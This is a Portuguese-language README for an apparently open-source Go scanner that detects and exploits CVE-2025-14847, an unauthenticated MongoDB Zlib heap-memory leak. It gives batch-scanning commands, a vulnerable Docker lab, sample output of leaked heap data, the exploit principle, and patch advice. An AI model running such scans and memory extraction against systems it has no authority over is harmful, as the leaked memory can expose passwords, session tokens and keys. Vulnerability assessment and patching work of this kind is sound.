Ferramenta de Detecção de Vulnerabilidade CVE-2025-14847 do MongoDB

Ferramenta de Detecção de Vazamento de Memória do MongoDB (CVE-2025-14847)

⚠️ Aviso Importante: Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e avaliação de vulnerabilidades. O uso não autorizado pode violar a lei.

📋 Índice

• Descrição da Vulnerabilidade
• Funcionalidades
• Instalação
• Modo de Usar
• Configuração do Ambiente de Teste
• Exemplo de Saída
• Princípio de Detecção
• Recomendações de Correção
• Aviso Legal

🔍 Descrição da Vulnerabilidade

CVE-2025-14847 é uma grave vulnerabilidade de vazamento de memória no processamento do protocolo de compressão Zlib do MongoDB. Um atacante pode enviar pacotes de compressão maliciosamente construídos, fazendo com que o MongoDB retorne dados de heap não inicializados, que podem conter informações sensíveis.

Versões Afetadas

Impacto da Vulnerabilidade

• 🔴 Gravidade: CVSS 8.7 (Alto)
• 💾 Vazamento de dados sensíveis da memória heap
• 🔑 Pode conter senhas, tokens de sessão, chaves de criptografia, etc.
• 🚫 Exploração sem necessidade de autenticação
• 🌐 Explorável remotamente

✨ Funcionalidades

• ✅ Detecção Inteligente - Identifica automaticamente a versão do MongoDB e determina se é afetada
• ✅ Dupla Verificação - Detecção de versão → Detecção de suporte Zlib → Extração de vazamento de memória
• ✅ Escaneamento de Alvo Único - Detecta rapidamente uma única instância MongoDB
• ✅ Escaneamento em Lote - Lê uma lista de alvos de um arquivo para detecção em lote
• ✅ Escaneamento Concorrente - Suporta múltiplas threads para maior eficiência
• ✅ Saída em Tempo Real - Exibe dados de memória vazados instantaneamente
• ✅ Exportação de Resultados - Salva automaticamente alvos vulneráveis em um arquivo
• ✅ Saída Limpa - Formato de saída unificado, claro e objetivo

🚀 Instalação

Método 1: Compilar a partir do código-fonte

# Clonar o repositório
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847

# Instalar dependências
go mod download

# Compilar
go build -o mongodb-scanner main.go

# Executar
./mongodb-scanner -t 127.0.0.1:27017

Método 2: Executar diretamente

go run main.go -t 127.0.0.1:27017

Método 3: Baixar versão pré-compilada

Acesse a página Releases para baixar a versão pré-compilada adequada ao seu sistema.

📖 Modo de Usar

Uso Básico

# Escanear um único alvo
./mongodb-scanner -t 127.0.0.1:27017

# Escanear em lote a partir de um arquivo
./mongodb-scanner -f targets.txt

# Escaneamento em lote (20 threads)
./mongodb-scanner -f targets.txt -c 20

# Escanear e salvar alvos vulneráveis
./mongodb-scanner -f targets.txt -o vulnerable.txt

# Faixa de offset personalizada (escaneamento mais rápido ou mais profundo)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000

Parâmetros da Linha de Comando

Formato do Arquivo de Alvos

Crie um arquivo targets.txt:

# Lista de alvos MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017

# Se a porta não for especificada, a porta padrão é 27017
192.168.1.101

🐳 Configuração do Ambiente de Teste

Para testar esta ferramenta com segurança, recomenda-se usar Docker para montar um ambiente de teste local.

Iniciar rapidamente um MongoDB vulnerável

# Iniciar MongoDB 6.0.14 (versão afetada) com compressão Zlib ativada
docker run -d \
  --name mongodb-vulnerable \
  -p 27017:27017 \
  mongo:6.0.14 \
  --networkMessageCompressors snappy,zlib

# Verificar status do contêiner
docker ps

# Testar a vulnerabilidade
./mongodb-scanner -t 127.0.0.1:27017

Usando Docker Compose

Crie um arquivo docker-compose.yml:

version: '3.8'

services:
  # Versão afetada (com Zlib ativado)
  mongodb-vulnerable:
    image: mongo:6.0.14
    container_name: mongodb-vulnerable
    ports:
      - "27017:27017"
    command: mongod --networkMessageCompressors snappy,zlib

  # Versão corrigida (para teste comparativo)
  mongodb-patched:
    image: mongo:6.0.27
    container_name: mongodb-patched
    ports:
      - "27018:27017"
    command: mongod --networkMessageCompressors snappy,zlib

volumes:
  mongodb-data:
  mongodb-patched-data:

Iniciar o ambiente de teste:

# Iniciar todos os contêineres
docker-compose up -d

# Testar a versão afetada
./mongodb-scanner -t 127.0.0.1:27017

# Testar a versão corrigida
./mongodb-scanner -t 127.0.0.1:27018

# Parar e limpar
docker-compose down -v

Limpar o Ambiente de Teste

# Parar e remover contêineres
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable

# Limpar volumes de dados
docker volume prune -f

📊 Exemplo de Saída

Descrição do Formato de Saída

A ferramenta usa prefixos uniformes para marcar as informações de saída:

• [*] - Informações (alvo, versão, configuração, etc.)
• [+] - Sucesso/vulnerável/dados extraídos
• [-] - Falha/seguro/não vulnerável
• [!] - Aviso/nota importante

Escaneamento de Alvo Único - Vulnerável

╔══════════════════════════════════════════════════════════════╗
║  Ferramenta de Detecção de Vulnerabilidade CVE-2025-14847   ║
╚══════════════════════════════════════════════════════════════╝
⚠️  Apenas para testes de segurança autorizados | Testes não autorizados podem ser ilegais

[*] Alvo: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Iniciando escaneamento...

[*] Alvo: 127.0.0.1:27017
[*] Versão: 6.0.14
[+] Versão vulnerável: Sim
[+] Compressão Zlib: Ativada
[!] Vulnerabilidade explorável, iniciando extração de memória...
[+] offset=229 comprimento=250: :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",

[+] 127.0.0.1:27017 - Vulnerabilidade explorável (v6.0.14) - 3468ms
[+] 1 item de dados de memória extraído com sucesso:
    [1] :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...

======================================================================
[*] Escaneamento concluído | Total: 1 | Explorável: 1 | Seguro: 0 | Tempo: 3.4s
======================================================================

Escaneamento de Alvo Único - Versão Segura

[*] Alvo: 127.0.0.1:27018
[*] Versão: 6.0.27
[-] Versão vulnerável: Não

[-] 127.0.0.1:27018 - Versão segura (v6.0.27) - 156ms

======================================================================
[*] Escaneamento concluído | Total: 1 | Explorável: 0 | Seguro: 1 | Tempo: 0.2s
======================================================================

Escaneamento de Alvo Único - Zlib não ativado

[*] Alvo: 127.0.0.1:27017
[*] Versão: 6.0.14
[+] Versão vulnerável: Sim
[-] Compressão Zlib: Não ativada

[-] 127.0.0.1:27017 - Zlib não ativado (v6.0.14) - 234ms

======================================================================
[*] Escaneamento concluído | Total: 1 | Explorável: 0 | Seguro: 1 | Tempo: 0.3s
======================================================================

Escaneamento em Lote

[*] Alvo: 5 | Threads: 10 | Timeout: 2s | Offset: 20-8192
[*] Iniciando escaneamento...

[+] 192.168.1.10:27017 - Vulnerabilidade explorável (v6.0.14) - 3521ms
[+] 2 itens de dados de memória extraídos com sucesso:
    [1] Connection ended...
    [2] network statistics...

[-] 192.168.1.11:27017 - Versão segura (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - Zlib não ativado (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - Vulnerabilidade explorável (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - Vulnerabilidade explorável mas sem dados extraídos (v6.0.20) - 4123ms

======================================================================
[*] Escaneamento concluído | Total: 5 | Explorável: 3 | Seguro: 2 | Tempo: 5.2s
======================================================================

[+] Alvos vulneráveis salvos em: vulnerable.txt

🔬 Princípio de Detecção

Esta ferramenta utiliza um mecanismo de detecção em três etapas:

1️⃣ Detecção de Versão

• Conecta à instância MongoDB
• Obtém informações da versão (comando buildInfo)
• Determina se a versão está dentro do intervalo afetado

2️⃣ Detecção de Suporte à Compressão Zlib

• Envia um pacote de teste de compressão Zlib
• Verifica se o servidor retorna uma resposta comprimida
• Confirma se a compressão Zlib está ativada

3️⃣ Extração de Vazamento de Memória

• Envia pacotes de compressão maliciosamente construídos
  • Alega um tamanho após descompressão muito maior que o real
  • Faz com que o servidor leia memória heap não inicializada
• Escaneia múltiplos offsets para extrair mais dados
• Descomprime a resposta do servidor e extrai nomes de campos vazados
• Exibe em tempo real os dados de memória encontrados

Lógica de Decisão

🛠️ Recomendações de Correção

Solução de Emergência

Atualize imediatamente para uma das seguintes versões corrigidas:

• MongoDB Server 8.2.3
• MongoDB Server 8.0.17
• MongoDB Server 7.0.28
• MongoDB Server 6.0.27
• MongoDB Server 5.0.32
• MongoDB Server 4.4.30

Medidas Mitigadoras Temporárias

Se não for possível atualizar a curto prazo, as seguintes medidas temporárias podem ser adotadas:

1. Desativar a Compressão Zlib

Configure em mongod.conf ou mongos.conf:

net:
  compression:
    compressors: []

Ou exclua explicitamente o zlib nos parâmetros de inicialização:

mongod --networkMessageCompressors snappy,zstd

2. Usar outros algoritmos de compressão

Recomenda-se usar snappy ou zstd no lugar do zlib:

net:
  compression:
    compressors: snappy,zstd

3. Controle de Acesso à Rede

• Restringir a porta MongoDB apenas para IPs confiáveis
• Usar regras de firewall ou configuração bindIp
• Ativar criptografia TLS/SSL para transmissão

4. Ativar Controle de Acesso

• Ativar mecanismo de autenticação (parâmetro --auth)
• Usar políticas de senha forte
• Implementar princípio do menor privilégio

5. Monitoramento e Auditoria

• Monitorar conexões anormais e padrões de acesso à memória
• Ativar registros de auditoria
• Verificar regularmente logs de segurança

⚠️ Aviso importante: Medidas mitigadoras temporárias só reduzem o risco, não são uma solução definitiva. Recomenda-se fortemente atualizar para uma versão corrigida o mais rápido possível.

⚠️ Aviso Legal

Aviso importante:

• ✅ Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e avaliação de vulnerabilidades
• ✅ Antes de usar esta ferramenta, certifique-se de que tem permissão para testar o sistema alvo
• ❌ Escaneamentos não autorizados podem violar leis e regulamentos
• ❌ O autor não se responsabiliza por qualquer uso indevido

Ao usar esta ferramenta, você concorda com:

1. Utilizá-la apenas em sistemas com autorização expressa
2. Cumprir as leis e regulamentos da sua região
3. Ser responsável por quaisquer consequências decorrentes do uso desta ferramenta

📄 Licença

Este projeto é distribuído sob a licença MIT License.

🤝 Contribuições

Contribuições são bem-vindas! Sinta-se à vontade para abrir Issues e Pull Requests!

Guia de Contribuição

1. Faça um Fork deste repositório
2. Crie sua branch de funcionalidade (git checkout -b feature/MinhaFuncionalidade)
3. Faça commit das suas alterações (git commit -m 'Adiciona MinhaFuncionalidade')
4. Envie para a branch (git push origin feature/MinhaFuncionalidade)
5. Abra um Pull Request

📚 Referências

• Detalhes do CVE-2025-14847
• Boletim de Segurança do MongoDB
• Guia de Atualização do MongoDB
• Configuração de Compressão do MongoDB

👨‍💻 Autor

onewinner - @onewinner

Endereço do projeto: https://github.com/onewinner/CVE-2025-14847

📝 Histórico de Atualizações

v1.0.0 (2025-12-26)

• 🎉 Lançamento da versão inicial
• ✅ Suporte a escaneamento de alvo único e em lote
• ✅ Suporte a escaneamento concorrente com múltiplas threads
• ✅ Detecção automática de versão e avaliação de risco
• ✅ Detecção inteligente de vazamento de memória
• ✅ Recomendações detalhadas de correção